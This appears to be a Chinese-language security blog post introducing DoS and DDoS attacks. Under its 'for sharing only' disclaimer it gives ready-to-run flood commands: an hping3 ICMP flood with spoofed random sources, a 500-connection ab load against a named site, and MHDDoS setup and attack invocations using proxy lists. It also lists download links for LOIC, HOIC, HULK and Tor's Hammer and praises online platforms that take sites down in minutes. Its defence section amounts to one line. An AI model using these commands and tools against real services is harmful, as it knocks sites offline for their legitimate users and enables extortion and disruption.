免责声明:本文仅做分享!!!
目录
DDos
介绍:
所谓DOS
就是指拒绝服务攻击。攻击者发送大量的恶意请求,从而增加服务器的负担。从而造成正常用户访问异常。而DDOS
攻击,就是攻击者控制的大量的“肉鸡”,通过肉鸡在进行DOS
攻击。而这种攻击也最难防御。
DoS(拒绝服务)是一种用于拒绝合法用户访问资源(例如访问网站、网络、电子邮件等)的攻击。
分布式拒绝服务 (DDoS) 是一种 DoS 攻击,由许多用户针对同一受害者的攻击.
常见攻击方式:
基于TCP协议的攻击
通过发送大量的TCP协议报文,从而使得服务器处于一个半链接状态(不能连上网 )
基于icmp协议的攻击
就是发送大量的ping包,让服务器瘫痪。
hping3 --icmp --flood -d 1400 --rand-source 域名
web压力测试
也称cc攻击。
通过模拟多用户多线程请求,来消耗CPU和内存。
ab
(Apache Bench)apache性能测试工具,这是 apache 免费自带的性能测试工具,能模拟多个并发请求(支持 HTTPS)
ab -t 60 -c 500 -n 500 https://bbskali.cn/thread-413-1-1.html
攻击---->
1-工具脚本
开源很多.
MHDDos项目
https://github.com/MatrixTM/MHDDoS
git clone https://github.com/MatrixTM/MHDDoS.git cd MHDDoS pip install -r requirements.txt python start.py help python start.py bomb https://example.com 0 50 proxy.txt 100 3600 python start.py bypass https://example.com 5 101 socks5.txt 100 3600
LOIC(低轨道离子炮)
LOIC(低轨道离子炮)是用于 DDoS 攻击的开源软件。这个 ddos 工具是用 C# 编写的。此工具向服务器发送 HTTP、TCP 和 UDP 请求。
https : //sourceforge.net/projects/loic/
HOIC(高轨道离子炮)
High Orbit Ion Cannon 是一种免费的拒绝服务攻击工具。它旨在同时攻击多个 URL。此 ddos 工具可帮助您使用 HTTP(超文本传输协议)发起 DDoS 攻击。
https : //sourceforge.net/projects/highorbitioncannon/
HULK
HTTP Unbearable Load King (HULK) 是一个 Web 服务器 DDoS 工具。它是一种免费的 ddos 攻击工具,专门用于在网络服务器上生成大量流量。
https : //packetstormsecurity.com/files/112856/HULK-Http-Unbearable-Load-King.html
OWASP HTTP POST
https : //owasp.org/projects/
OWASP(开放式 Web 应用程序安全项目)HTTP Post 软件使您能够测试 Web 应用程序的网络性能。它可以帮助您从单个 DDoS 机器在线进行拒绝服务。
Tors Hammer
Tor的锤是一个应用层DDoS软件程序。您可以使用此DDOS在线工具,目标Web应用程序和Web服务器。它执行的是被用来加载网页的基于浏览器的网络请求。
https://sourceforge.net/projects/torshammer/
...
2-在线平台
分分钟干趴.
...
防御---->
1-高防
2-CDN
3-主机防御
封ip,白名单, 配置防火墙策略,过滤流量包,负载均衡等等.